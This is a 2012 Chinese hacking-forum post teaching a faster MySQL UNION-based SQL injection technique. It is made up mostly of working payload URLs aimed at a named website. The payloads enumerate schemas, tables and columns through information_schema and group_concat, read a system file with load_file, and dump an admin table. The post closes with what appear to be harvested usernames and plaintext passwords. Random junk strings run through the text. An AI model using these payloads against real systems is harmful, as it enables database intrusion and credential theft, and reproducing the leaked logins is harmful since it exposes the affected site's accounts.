找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2463|回复: 0
打印 上一主题 下一主题

mysql注入高效方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:37:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似$ d  W; Y1 R: p; B# d( v9 d( j
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人) R! N5 {- L4 D) e

9 h4 u$ N( i, p& m5 W; K- t" i  w- S, b0 b% S
优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
! Q4 P" _% D4 c& M$ c# x
* E2 h/ A1 y* X! T2 s缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...! g% l) N, x7 e4 A# S; s1 N$ e

4 l  j; W* D$ D- q  D- u下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
6 Y- U4 m( j. C# m) C在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ ,  + 等等' {2 W8 Z8 @4 N+ M% ~' d" B5 E

$ {2 K4 q. [" \& Z5 f& a, S6 Ahttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,171 P. G; h( {6 Y  Z+ m# w- A

0 |+ U& C; `$ u/ g9 D3 y5 v0 h8 Q读出所有库:
  W+ c: O& z" K- chttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
; j" C( K" A4 @# I$ r
% R1 I* f3 B# t+ O4 w% ?+ d( U4 y8 Y3 \! W, m; ]- @

2 ^7 I8 _. a6 O' Z读出所有表:
" F1 y5 f9 e1 @8 q. i: P" u. Yhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
( Q( c( v! G& A0 u7 e% T
3 B- ?5 G" t4 P: _) [6 z读出所有表字段:
& X- v; A! i6 X4 A' Y+ W" u5 Yhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
# s  d3 b% e1 S  W; X, V*/ (97,100,109,105,110)为admin的ascii码 依次类推7 }8 E! O. e& y- ]' j- z
& w& c! F! w* R! J0 h( T/ q
读出所有表字段里的内容:
+ D2 E! ~+ E/ y. whttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
; U, F. c( |  Y, a3 x, J8 i2 ]8 @2 `3 C* ~- c5 {" u$ _
7 ]$ q$ u  T) S) J3 S8 s3 P

8 T, h7 N$ I! R
, S( Z0 w, o) G+ G3 B. Y- y0 C" m( O1 h# r: O/ k5 s% p4 \+ r
+ V7 }& e8 h. [
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
* h) Z6 e4 N9 S$ M, D6 R) O" {5 L0 \% S: l# V6 n

( {4 M8 I; B2 w8 K3 Mhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
, @* z+ I) {0 ?
0 |+ t3 b; _/ N% s, nhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
% r. H4 t5 T# N- J* K$ D" p+ J1 H. K! T( b& }  g7 x
1 G$ e9 M+ N7 @6 O; c4 u% Y3 p
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23
5 m# @' T2 I, m6 S. m& V
" k5 j/ o. S  u. j& W2 F" y9 I: F# U
        webmaster:dzb521123,simlab:simadmin20043233
. W) U! K2 V5 B! r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表